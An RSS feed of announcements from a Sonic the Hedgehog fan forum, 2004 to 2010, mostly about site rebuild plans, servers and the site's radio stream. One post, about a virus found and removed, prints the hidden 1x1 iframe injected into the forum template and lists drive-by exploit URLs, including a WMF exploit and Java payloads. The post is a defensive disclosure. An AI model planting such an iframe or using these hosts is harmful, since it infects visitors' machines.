Sonic-Club.com Announcements News and Announcements for the forums. http://forums.sonic-club.com/index.php Sat, 04 Sep 2010 23:10:34 -0400 60 Validating Accounts http://forums.sonic-club.com/index.php?showtopic=547
You users that registered a year ago in early 2008, we're sorry for the wait, but we're validating you guys. Hopefully we didn't take too long.]]> Fri, 13 Feb 2009 11:37:07 -0500 547 <![CDATA[10 Year Mark Approaches & Disbanding the offline Sonic Club]]> http://forums.sonic-club.com/index.php?showtopic=543
To conclude this could mean we can get more organized and do much better on this project within the near future. Sonic Club is in the revival phase, not ever dead, but just dorment. The re-awakening will happen, and our goals haven't changed. In addition to our old plans, we have many new ones to make us well known to the community like we were back in 1999 and the few years following that.

When early 2009 comes, it'll soon hit our 10 years mark. That's right, Sonic-Club.Com will be 10 years old, one of the longest lasting Sonic sites out there. We've withstood the test of time, and hopefully we're now ready to take our place back at the top where we got so close to being at one time. This dream never died, nor did it fade. Expect a hybrid of the past and the present as we like tradition and will not dismiss Sonic's greatest years from the spotlight.

10 Years Approaches! Are you ready??]]> Mon, 03 Nov 2008 05:36:40 -0500 543 <![CDATA[Goodbye sonicclub.dns2go.com... & More]]> http://forums.sonic-club.com/index.php?showtopic=534
In other news our server PC finally decided to break down on us.

It was running Windows Server 2003, and being the experienced computer user I am, I decided it was a hardware problem. I tried many things, such as using a different power supply since that's a common issue, but it was not a virus or anything. The server just suddenly decided to go bad, probably a motherboard problem.

That server did a lot for us while we had it, including streaming Sonic Club Radio, FTP and HTTP, and various other services which we had setup on it, even sometimes functioning as a normal PC, it's been through a lot I guess, and it ran and ran for many many hours.

The specs of it were pretty low-end, but it was purchased in 2003 or so, and for the time it was a pretty good computer. I forget the exact ghz, but it was probably atleast 1.5ghz, with 256mb of RAM. It also had a 60gb or so hard drive, which the hard drive started acting strange and corrupting files only a couple months before the death of the Server PC. I WARN YOU TO AVOID COMPUTERS WITH QUANTUM TECHNOLOGIES HARD DRIVES, THEY SUCK. It was an HP desktop computer and that's the hard drive that was in it. I heard Seagate was a bad hard drive brand.. well the new server PC has it..

This project is far from canned! I have since invested in another PC to act as a server. I spent a few hundred or so on a new desktop PC with a 250gb hard drive, 3ghz Intel Dual Core processor, 2gb RAM, and a 512mb video card. It unfortunately has Vista installed, and vista runs very nicely on that PC, however, I don't know if it's an OS that's suited for a server-like environment. I'll figure out a way to pull this off. Overall it's a nice PC. I hope sometime I can keep my visitors happy (what visitors? lol) by streaming Sonic Club Radio again sometime.

It's not a complete loss, and I keep saying this. I have been studying many things so when I do go to finally do the Sonic Club 3.0, it will be amazing i'm sure. I have high hopes for my project, but like I said, I don't know when I will get around to being able to do it with all the other issues in life that have come up. I'll try my best not to let you guys down though, Sonic Club has withstood the test of time, since January 1999 this site has been standing, and it's been through a lot, bandwidth thieves that make our hosting cost tripple the amount per month, years of few visitors at times, but we're still here.

I have a lot of plans, but unfortunately not all my plans include the site, and I don't plan to can this project.

Bye for now, thanks for reading.]]> Tue, 17 Jun 2008 02:41:37 -0400 534 Forum Repaired http://forums.sonic-club.com/index.php?showtopic=519 Because of some server environment changes there were some settings and such to tweak. I have managed to fix them, but if you notice any problems please post about it so we can fix it. Mon, 04 Feb 2008 19:39:26 -0500 519 Server Upgrade http://forums.sonic-club.com/index.php?showtopic=491
I'd also like to mention that I think we're done with dns2go as a local-server provider. They were nice when they lasted, but it was a bigger expense.

sonicclub.dns2go.com will no longer be in use by us, probably never again.

I have found a free solution which is much better that will allow me to link directly to our local server through something.sonic-club.com. Everything relating to this site will now be more localized with the network and we should now always have a reliable address for these things.

With these upgrades i'd like to say the SC Server that runs off our internet connection isn't ready yet. There's much maintenance and upgrading to do. We would like to have the following:

HTTP (with PHP, MySQL, and possibly other scripting systems and databases)
FTP
IRC
SHOUTcast
DNS

Our local server still has the limits of DSL, but the internet speed has drastically increased since the earlier days of SCR: Sonic Club Radio. We should be able to support more listeners, however, I don't think it can be suited for a very good file server.

We're going to look into the better technology and features that servers have these days so it isn't only limited to the above.

The cost of the upgrades I did is slightly more, but definitely worth it. I hope that were are people willing to donate when we're in need though, of course, we probably won't be asking for donations until the release of Sonic Club 3.0.

I also don't know when we will be working more on the 3.0 project or when more progress will be made, but it isn't discontinued. Also, this time isn't all a waste, things are being learned, such as ways to stop hotlinking problems before that Sonic-Club.Com faced and an easier to update interface that's PHP based.

That's all for now.
]]> Tue, 28 Aug 2007 18:42:46 -0400 491 ESRB Watch: Sonic The Hedgehog on Xbox Live Arcade for Xbox 360 http://forums.sonic-club.com/index.php?showtopic=478 Sonic The Hedgehog" on the Xbox 360 that has similar game play to that of the Sonic Adventure games.

This news, however, talks about the classic Sonic The Hedgehog games from the SEGA Genesis being released on Xbox Live Arcade for the Xbox 360.



QUOTE
ESRB Watch: Ecco, Sonic on 360
Is this the start of the "SEGA Vintage Collection?"
by Daemon Hatfield

May 15, 2007 - The latest list of games which have been submitted for rating to the Entertainment Software Ratings Board (ESRB) includes both Ecco the Dolphin and Sonic the Hedgehog for the Xbox 360. This gives credence to recent evidence that SEGA is planning to release classic games from its catalog on the 360 as part of a "SEGA Vintage Collection," starting with Sonic the Hedgehog. Sonic was on display running on the 360 at E3 last year, but has since dropped off the radar.

Ecco the Dolphin was a SEGA Genesis game released back in 1992 that put players in control of the title character, a dolphin in search for his missing pod. The series was a key franchise for the Genesis and the original was one of the first releases on the Wii Virtual Console.

As always, an ESRB listing isn't an official confirmation that a game is on the way, but evidence that SEGA has submitted the title to receive a rating for the 360.


Source: IGN.com (Article Link)




I guess for the time being, we will just need to play Sonic Mega Collection Plus on our original Xbox (or Xbox 360 using the backwards compatibility update).]]> Mon, 21 May 2007 09:47:50 -0400 478 Dreamcast Planetweb Gone Again?? http://forums.sonic-club.com/index.php?showtopic=477 http://dreamcast.planetweb.com/ is dead now, it's sad. I e-mailed them and had them bring back that site for a bit, but it seems to be gone for good now unless I e-mail and see if I can extend the life any more, which seems very unlikely. It's mid-2007 now, and I doubt that they'll bring back the website for a console that has been dead for many years. I may give it a go sometime, but I think I recall saving all the Sonic Adventure, Sonic Adventure 2 and Sonic Shuffle saves somewhere.. This is all that's required for my site, however... All those saves for so many other games are gone... I guess I just have to accept it. Most don't realize the secret that their .VMI files are a redirection to the true .VMS files if they had only entered that URL, but you need both files to download it I think. So that's how that goes.. Something like that.. Well my random visit comes to an end while I improve my skills more and stuff, and await the launch of Sonic Club 3.0 which could be anytime. I'm going to need to archive all the Sonic files around the internet though and a lot of the old news and information. Maybe people who were eager to help on this site won't mind helping with that. I wouldn't mind reviving the staff when my return time comes.]]> Mon, 21 May 2007 05:52:47 -0400 477 Early Prototypes of Sonic-Club.Com http://forums.sonic-club.com/index.php?showtopic=439 Sat, 19 Aug 2006 00:36:41 -0400 439 Crackdown: Banning Spammers http://forums.sonic-club.com/index.php?showtopic=436 Wed, 16 Aug 2006 20:15:23 -0400 436 <![CDATA[VIRUS FOUND & REMOVED!]]> http://forums.sonic-club.com/index.php?showtopic=432
Anyway, here's the code and all the things I found out about this code.

WARNING! DO NOT CLICK ANY OF THOSE LINKS AS THEY MAY BE DANGEROUS, DO SO AT YOUR OWN RISK!


Firstly THIS is what somehow got into the forum's source code. An iFrame that's 1x1 pixels, in my browser it looked like a little square:

CODE
<iframe src="http://zhmbscwdgk.biz/dl/adv771.php" height="1" width="1"></iframe>


and check this out, go to the URL below and it takes you to Barnes & Nobles? Who knew a book store was responsible for hacking, but then again after close examination maybe just one of those numbers brings you there? So then it's POSSIBLE that the code below is somehow an encoded version of the one above? But i'm still going to believe that Barnes & Noble is more than a bookstore.. LOL

CODE
<iframe src="http://zhmbscwdgk.biz/dl/adv771.php" width=1 height=1></iframe>


Using a packet sniffer I found the following pages trying to load from the Sonic-Club.Com forums:

Main link it tries to execute
http://zhmbscwdgk.biz/dl/adv771.php

Broken link?
http://zhmbscwdgk.biz/style_images/1/logo4.gif

THIS link redirects to http://proffy209.com/adv/032/new.php?
http://ltds.biz/go.php?id=1130&user_name=traff

Something like new.php?
http://count4all.net/adv/032/new3.php


When this page is loaded somehow it tries to execute the wmf file?
http://proffy209.com/adv/032/new.php

Stupid WMF file it attempts to download or load
http://proffy209.com/adv/032/xpl.wmf

When http://proffy209.com/adv/032/new.php is loaded, the two class files try to load?
http://proffy209.com/adv/032/BlackBox.class
http://proffy209.com/adv/032/BlackBox/class.class

The idiots who created this threat?
http://www.proffy209.com

Credits to the people responsible for this virus:

http://zhmbscwdgk.biz/
http://ltds.biz/
http://count4all.net/
http://proffy209.com/

and the good people at your local Barnes & Noble book store. LOL




The forum code I edited can be found below, notice the problem:

CODE
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=<% CHARSET %>" />
<link rel="shortcut icon" href="favicon.ico" />
<title><% TITLE %></title>
<% GENERATOR %>
<% CSS %>
<% JAVASCRIPT %>
</head>
<body><iframe src="http://zhmbscwdgk.biz/dl/adv771.php" width=1 height=1></iframe>
<div id="ipbwrapper">
<% BOARD HEADER %>
<% MEMBER BAR %>
<% NAVIGATION %>
<!--IBF.NEWPMBOX-->
<% BOARD %>
<% BOARD FOOTER %>
<% STATS %>
<% COPYRIGHT %>
</div>
</body>
</html>


EDIT: Well I guess Barnes & Noble ISN'T responsible, when I paste the strange code into the browser it converts to that virus URL..Strange how in firefox when you go there it takes you there though, very strange. I guess just the & symbol does that though ^^; Sorry Barnes & Noble, but it's funny anyway so I will leave it, if you want to blame anyone, blame the creators of the malicious code, and then make it more well known that typing & in firefox takes people to your site.

Also, NOTE TO THE CREATORS OF THE VIRUS: I will track you down. You're not worth it, but just putting me through the trouble of this problem and probably causing trouble for other uses, it can't go unpunished, you'll have to learn that some people in this world aren't as forgiving.

If anyone has any information about these people who own the URLs, let us now.]]> Fri, 11 Aug 2006 11:17:04 -0400 432 SC2 has temporarily returned http://forums.sonic-club.com/index.php?showtopic=329 Mon, 03 Oct 2005 05:23:05 -0400 329 Slowly, but happening http://forums.sonic-club.com/index.php?showtopic=267 Mon, 06 Jun 2005 13:22:20 -0400 267 Sonic Club 3.0 Release Date Confirmed! http://forums.sonic-club.com/index.php?showtopic=249 I decided it will be released on June 1, 2005 no matter what, or earlier, but probably on that date for sure. No matter what condition the site is in, even if barely complete, it will go up, but I will do as much work as I can until then. Wed, 04 May 2005 17:10:54 -0400 249 <![CDATA[I'm back]]> http://forums.sonic-club.com/index.php?showtopic=241 Tue, 26 Apr 2005 05:00:48 -0400 241 Unexpected Delay http://forums.sonic-club.com/index.php?showtopic=234 Sun, 17 Apr 2005 16:21:29 -0400 234 Getting ready for new version http://forums.sonic-club.com/index.php?showtopic=230 Tue, 05 Apr 2005 06:06:36 -0400 230 The time has come... http://forums.sonic-club.com/index.php?showtopic=228
I will soon be setting a launch date. Forums will remain active, but main site will be shutdown to attract attention rather than it just being a lame notice that many people will overlook. All old un-necessary files will be backed up, then deleted from the server while SC 3.0 is secretly being prepared in the background. You will then be left with a single opening page with a countdown to the release of Sonic Club 3.0.

Here's my plan; I will probably try to have the site backed up and taken down by the time it hits April 1, 2005. The page and forums will then remain on the server in a useable state while Sonic Club 3.0 is being prepared and uploaded. Once the countdown page is added, a set release date will be set. Because of the lack of visitors due to no updates sometimes, I think it's only fair to give it a month so news will spread of the new Sonic Club and it will possibly attract more visitors, and give us a fair amount of time to prepare. March 1, 2005 (about a month from now), sounds like a decent release date. I will try to work hard on it, if I can calculate I will be done by an earlier date, I will set a shorter release date. This is probably my last announcement you'll get before the shutdown of the site and the opening of the countdown page, unless I post a warning message, or a goodbye message. Enjoy Sonic Club 2.0 while it lasts because it will probably never come back unless we decide to archive it for viewing purposes.

Bye for now!]]> Mon, 28 Mar 2005 01:11:08 -0500 228 Actual layout - Close to completion http://forums.sonic-club.com/index.php?showtopic=220 Sun, 20 Mar 2005 16:48:35 -0500 220 Checking back again http://forums.sonic-club.com/index.php?showtopic=211 Sonic Club 3.0 project is still in development and hasn't been scrapped. Lack of updates probably gives that impression, but not to worry.

Things are going slightly slower than usual because of other interuptions, but the new site is still being worked on, and more planning is being done to make it even better than expected.

The Sonic RPG Online Game we were developing has sorta been put on hold. We had a decent creation engine, but realised very soon after that it wasn't for us. We want to make a game that will allow customization of characters you make. So we might go to finding another good web based creation engine...

In other notes; looks like http://forums.sonic-club.com/ is going to be removed. The address will then be http://www.sonic-club.com/forums, which won't be too bad, but the first address looks slightly cooler. We wouldn't even be asking this if it wasn't costing us money to have it. That sub-domain costs us $2 a month on top of hosting fees. We aren't getting as much support as it is. We may bring it back later if we're bringing in enough money... Read the forums people...I have posted many topics, yet most of you are too lazy to read them, let alone post.. The forums are currently the most active part of the site. I suggest using it. We want to launch the site with lots of people expecting the rebirth of Sonic-Club.Com. It will truly be a great site so we want lots of people to see it when it comes.

Dreamcast users...get your dreamcasts fired up for the internet again because once Sonic Club 3.0 launches we will have a dreamcast page which will have lots of downloadables. Mostly for Sonic games, but others as well. We will have ALL the chao blackmarket downloads you would normally have to upload your SA2 save file for on the Sonic Adventure 2 homepage. We also have kart racing downloads, and other special events for all Sonic games, this will also include fan made chao and chao garden downloads and last but not least, game saves for all Sonic games!!!

For those of you who missed the announcement. SCR: Sonic Club Radio will relaunch with Sonic Club 3.0 when the time comes. Seems some of you are quite disappointed about the whole thing. Just wanted to make it clear that Sonic Club Radio IS coming back.

Remember the newsgroups? Sure you do unless you're just a newbie to the online Sonic community. After most of SC 3.0 is ready, we will be attempting to create an official site for Alt.Fan.Sonic-Hedgehog! This should hopefully give the newsgroups more attention, hopefully not the wrong kind of attention.

Many of these things have been mentioned in the forums though so I repeat READ AND REPLY TO THINGS IN THE FORUMS SO YOU DON'T MISS OUT ON IMPORTANT NEWS AND ANNOUNCEMENTS!

Guess that just about covers everything for now. I will try to keep you posted.]]> Sun, 27 Feb 2005 20:17:44 -0500 211 Changes will be made soon http://forums.sonic-club.com/index.php?showtopic=204
Sonic Club 3.0 project has been slowing down a bit due to running into conflicts, however, SC 3.0 has overgone massive changes. Our earlier project was Sonic Club Prototype 3.0. We are now in the Sonic Club Beta 3.0 stage, and the site has evolved quite a bit since the first layout changes. Soon we get to the Sonic Club Final 3.0 stage and after revising and double checking pages, Sonic Club 3.0 will be released. The beta stage will be over as soon as some of the main pages are added with the layout, then we will have it ready very soon after SC Final 3.0 comes out.]]> Fri, 18 Feb 2005 00:18:45 -0500 204 Project going slower, but still in development http://forums.sonic-club.com/index.php?showtopic=202
Getting the layout setup is taking longer than expected, but I don't suspect it will be much longer. Thank you for being patient, and please post on the forums as it will help us to add things we weren't planning to to the new site. We are doing great so far, but comments, suggestions on improvements and content should be made if nothing else. I have posted many topics, I would like to see some replying, knowing that there are visitors that actually care about this project, or if I am making all this for nothing.]]> Thu, 17 Feb 2005 20:58:32 -0500 202 Posted huge topic in forums http://forums.sonic-club.com/index.php?showtopic=193
sonic-club.com/forums/index.php?showtopic=192]]> Mon, 07 Feb 2005 01:55:22 -0500 193 Reorganized Forums AGAIN http://forums.sonic-club.com/index.php?showtopic=191 Yeh, found a couple other things I could do to save space, Be sure to check out the forums, I may change things more of I get any ideas. Sun, 06 Feb 2005 04:56:10 -0500 191 Forum Reorganizing http://forums.sonic-club.com/index.php?showtopic=189
Sonic Club 3.0 is still being worked on as well.]]> Fri, 04 Feb 2005 18:57:42 -0500 189 You missed out. The test is over for now. http://forums.sonic-club.com/index.php?showtopic=181 Sat, 22 Jan 2005 16:48:36 -0500 181 Downloads Online Temporarily http://forums.sonic-club.com/index.php?showtopic=180 smile.gif]]> Fri, 21 Jan 2005 17:00:43 -0500 180 Bandwidth Test http://forums.sonic-club.com/index.php?showtopic=179 Thu, 20 Jan 2005 23:37:51 -0500 179 Added Content! http://forums.sonic-club.com/index.php?showtopic=178
By the way, I recently checked my mail account on Sonic Club and saw several form submissions. Since it's sorta un-reliable to e-mail all of them back (by the time I do, in most cases addresses are invalid, or they had entered it wrong). Here are the answers to commonly asked questions:

Q: Sonic Club Radio won't work!!!!! What's Wrong?
A: Sorry, but because of minimal use, we felt that it was a waste of money to simply run this free service when not much is happening with the site. The picture has now been taken down temporarily, SCR will return with the launch of the new site.

Q: When will there be episodes/downloads online?
A: When Sonic Club 3.0 goes online, we will have all of that. Lower quality episodes shall be in RealPlayer format, while slightly high quality, or much higher quality will have AVI format or any other high quality format we happen to use. Please be patient. There has also been requests to have Sonic X 1-52. We will try to have both dub and japanese. If only one then it will be dub since that seems to be the most requested version.

That's all for now.]]> Thu, 20 Jan 2005 02:29:06 -0500 178 Sonic Club 3.0 - Update http://forums.sonic-club.com/index.php?showtopic=174 Fri, 14 Jan 2005 15:06:07 -0500 174 Sonic Club 3.0 - New Project in the works http://forums.sonic-club.com/index.php?showtopic=166
Anyway, i'll keep it short since I always seem to get off subject. You may think the current site you see is great; I have gotten lots of compliments about the current look, but my new layout will make the old one look like trash, seriously. It's a very professional, new and sleek design that will out-do most if not all Sonic sites. With my massive collection of content that I plan to add to the site, it will be not only a huge site, but very easy to navigate, and have a great looking design.

The site will keep the same name and all, but there will be some huge changes, for example, there will be no more frames, other things are the site will also be compatible with 800x600 screen resolutions and above, and we're working on compatibility for all browsers such as Internet Explorer, Netscape, Mozilla Firefox, and more. Another big thing you'll notice is we're going to be leaving the dark theme. Our site will look more colorful and futuristic, brighter color theme.

Keep in mind also that although the layout is basically ready, this is a layout that shall not be wasted. It will come pre-loaded with lots of content, then often updates will follow soon after.

Prepare for Sonic Club 3.0...]]> Tue, 21 Dec 2004 19:18:24 -0500 166 Just some notices http://forums.sonic-club.com/index.php?showtopic=155
Note to guestbook signers, I suggest joining the forums, there are others there to talk about the site development with and other stuff. I even reply to posts so you would get a chance to talk to me. So please join the forums in the community section located on the menu on the left. Also only join if you intend to keep posting once in a while. I'm getting tired of those who make accounts and don't finish registration or join, but never post. It's obvious, but did I mention?

JOINING THE FORUMS IS FREE!!!

Just saying that in case anyone was hesitating because they thought it costs money, because it doesn't.]]> Tue, 26 Oct 2004 01:20:39 -0400 155 SCR Notice http://forums.sonic-club.com/index.php?showtopic=152 Mon, 18 Oct 2004 15:23:23 -0400 152 SCR Temporarily Offline http://forums.sonic-club.com/index.php?showtopic=146
I am not making any money off my station or my site, in fact, hundreds and probably a few thousand have gone down the drain in the whole development of this site. So I figure why waste even more money having something else online that costs me even more, something I have control over if it uses money or not. Hosting fees are enough, and I don't need to worry about my DSL connection getting lagged, power being consumed, and wear and tear being put on the server. The fact that it's on 24/7 constantly consuming power and the fact that more wear and tear is being put on it is more than enough of a reason not to have it online. I need to save the server for times when it is really needed, such as like when this site becomes popular and attracts lots of traffic.

I hope everyone understands the situation. I need to focus more on the site itself rather than letting more money be wasted when it doesn't have to. Without having to worry about the operations of the server, it should free up more time and stop wasting money.

If there is enough demand from people in the SCR forum in the Sonic Club Forums, then maybe I will consider putting it back online if people really care. Sonic Club Radio isn't gone for good, in fact, it can be put back online in minutes. Just think of it like Sonic Club Radio is taking a vacation from all it's hard work. It will definitely be back, but I hope to put it back online once more of the site is completed and more people visit this site.]]> Wed, 06 Oct 2004 16:43:11 -0400 146 Downloads Section http://forums.sonic-club.com/index.php?showtopic=144 Fri, 01 Oct 2004 07:15:02 -0400 144 Sonic-Club.com boards now running IPB 2.0.0 http://forums.sonic-club.com/index.php?showtopic=134
I'll finish up a bit more on changing settings and stuff later.



Have a look around and check out the new features! cool.gif]]> Wed, 22 Sep 2004 00:39:41 -0400 134 SCR has over 37 hours of music?! http://forums.sonic-club.com/index.php?showtopic=128 Thu, 09 Sep 2004 10:58:37 -0400 128 Small updates... http://forums.sonic-club.com/index.php?showtopic=121 Wed, 08 Sep 2004 18:31:06 -0400 121 Problems with SCR page? Not anymore http://forums.sonic-club.com/index.php?showtopic=114 Tue, 24 Aug 2004 15:54:35 -0400 114 Site progress http://forums.sonic-club.com/index.php?showtopic=113
Anyway, as you can see, this site is decent, but not much around anymore, the forums work though, so check them out, they aren't very active right now, it's pretty embarassing though, there has got to be around 40 or so members, yet only a couple or few post, and I am one of those people that do post occasionally.

The next update you'll see will blow our current site away, we have decided to leave our site's dark look and move to something with more color and better graphics, and unlike quite a few of sites that are appearing around the net now, there won't be any stolen layouts, what you will see is something unlike just about anything you've seen on a Sonic site before. As you know this site will also provide tons of great content and services that other Sonic sites don't have. You can't expect a whole lot to get done, I don't have a huge staff or anything like other sites. A few people sometimes help with different things on Sonic Club, but I am basically the main one that is responsible for content and graphics, and hosting stuff / paying for the cost of the site. Although there are many things causing delay such as a screwed up PC and other problems I have to deal with, all I can really say is that I am working on it.

I hope that's enough to keep everyone happy for right now. I will try to speed up a bit on the project though. Be aware that I can't just host some of my huge files whenever I want, like Sonic cartoons. That will take a bit longer until I am able to upgrade my internet connection to handle more bandwidth output and/or find a place to put the files. I already got a server with lots of space to host the files on, my main problem as of now is getting the high speed connection, My connection is a decent high speed connection, but can't handle a whole lot more other than downloading stuff and hosting Sonic Club Radio, the upload speed SUCKS! 17 KILOBYTES PER SECOND MAXIMUM!! The download speed on my connection is about 150-160 Kilobytes per second, again, that's KILOBYTES, NOT KILOBITS. That there tells you that my high speed connection sucks, some of my friends are able to upload at like 30 Kilobytes per second or more. If I had that kind of speed, I wouldn't have as much trouble hosting stuff, anyway, that's all for now.]]> Tue, 24 Aug 2004 15:42:02 -0400 113 Not ready, but back anyway. http://forums.sonic-club.com/index.php?showtopic=110 Tue, 17 Aug 2004 04:51:49 -0400 110 SCR site design flaws http://forums.sonic-club.com/index.php?showtopic=108 I am trying to fix some errors on the site, one big error is that the button layout looks like junk on resolutions higher than like 800x600, I want to give the page the true effect and update outdated info, need a little more time. Sun, 15 Aug 2004 02:27:52 -0400 108 Server down for preparations http://forums.sonic-club.com/index.php?showtopic=107 Mon, 09 Aug 2004 16:09:39 -0400 107 SCR moving to sonic-club.com http://forums.sonic-club.com/index.php?showtopic=104 http://sonicclub.dns2go.com/scr/ it will be http://www.sonic-club.com/scr/. Be sure to update your bookmarks, even after the site is moved though, for quite a while there will still be a page linking to the new one. HTTP on our sonicclub.dns2go.com server will soon be repaired so that it can handle providing some of the bigger files that will be on our site. If you have a problem with this plan, post a complaint in our forum.

Meanwhile, in conclusion to this post, I will say that I will be trying to fix up the pages I once hosted within the past couple years. Such as the midi page, faq, downloads section, and the many other pages Sonic Club used to have, but were taken down due to layout changes. I may even sloppily put together pages or re-add stuff we had before just to last until next updates to come.

Like I said before, I have some personal problems to deal with, mainly getting things organized and repairing my PC, or dealing with other problems such as that. I should probably plan out my life better so that Sonic Club gets worked on a little each day or several times a week at the least. Thanks for reading and visiting Sonic Club regularly. We apologize for any and all delays which have occured.]]> Wed, 07 Jul 2004 17:43:52 -0400 104 No one cares what happens? http://forums.sonic-club.com/index.php?showtopic=103 Mon, 28 Jun 2004 14:30:47 -0400 103 When to expect updates http://forums.sonic-club.com/index.php?showtopic=96
During typing this I think I now know what is screwing me up with getting a lot done on the site, it isn't anything to do with just me or just the site, or me being lazy, but things that get in the way or cause depression. Any problem that gets in the way makes it that much harder to get going on the site, I am confident if I am able to eliminate these problems, there will be a much higher success rate for this site. I have lots of great plans to come for this site and don't even plan on dropping the project, too much money has gone down the drain on this project and I intend to complete this project and continue it for a very long time and gain back what I lost in the making of this site, the thousands that have gone down the drain in the years this site has sat here rotting, the domain, the upgrades, the server and server power costs. One thing I can't make up for is lost time though. All I can do is make use of time I have and get a lot done. I started this site back in the very beginning of 1999, I had a chance to succeed, but I never took it, I let it pass me by, and I will prove I am still capable of making this site succeed by making it better than all others, it may take a few months or something, but I WILL pull it off.

Also a note to current members or those who have been wanting to register. I apologize for shutting down the members area, but it was pretty pathetic, the setup was too simple, and I would have no way of knowing of a member gave the password and username to someone else, or even left and never returned. I intend to get a good member management script and put tons of exclusive content in there. Those who joined before can contact me when it's time and prove that you joined before by providing the e-mail you signed up with and possibly your name. We will continue to try to make Sonic Club a free site, with no annoying pop-ups and all that other kind of junk. We will however have to make Sonic Club more difficult to join, we can't just accept anyone, that person must truly be a Sonic fan, and not someone that just wants to take advantage of the great stuff we will provide.

Thanks for reading. I know I have said this kind of stuff before and never did much, but I do mean it, remember that. That concludes my 'speech', there aren't any typo's, are there? lol]]> Tue, 22 Jun 2004 02:55:04 -0400 96 Updating Priorities http://forums.sonic-club.com/index.php?showtopic=92 Sun, 06 Jun 2004 14:26:24 -0400 92 No replies for webmaster@sonic-club? http://forums.sonic-club.com/index.php?showtopic=73
We would like to also thank everyone that has e-mailed us commenting on Sonic Club Radio. We appreciate your feedback.

Also, if your e-mail starts with "Pokasorm" then please e-mail us on your new e-mail or something, we tried to reply but got an error that said that e-mail wasn't available or something.

Also a note to everyone else out there that uses the feedback form, if you want a reply, please provide an e-mail, otherwise we won't be able to contact you.]]> Tue, 27 Apr 2004 17:49:42 -0400 73 Sonic Club Radio Update http://forums.sonic-club.com/index.php?showtopic=63
See? I'm atleast making an effort to do some updating, lol]]> Tue, 27 Apr 2004 15:00:04 -0400 63 Do you think I LIKE not updating?? http://forums.sonic-club.com/index.php?showtopic=59 Mon, 26 Apr 2004 21:33:22 -0400 59 Sonic Club Radio Audio Presets http://forums.sonic-club.com/index.php?showtopic=58 Mon, 26 Apr 2004 21:21:09 -0400 58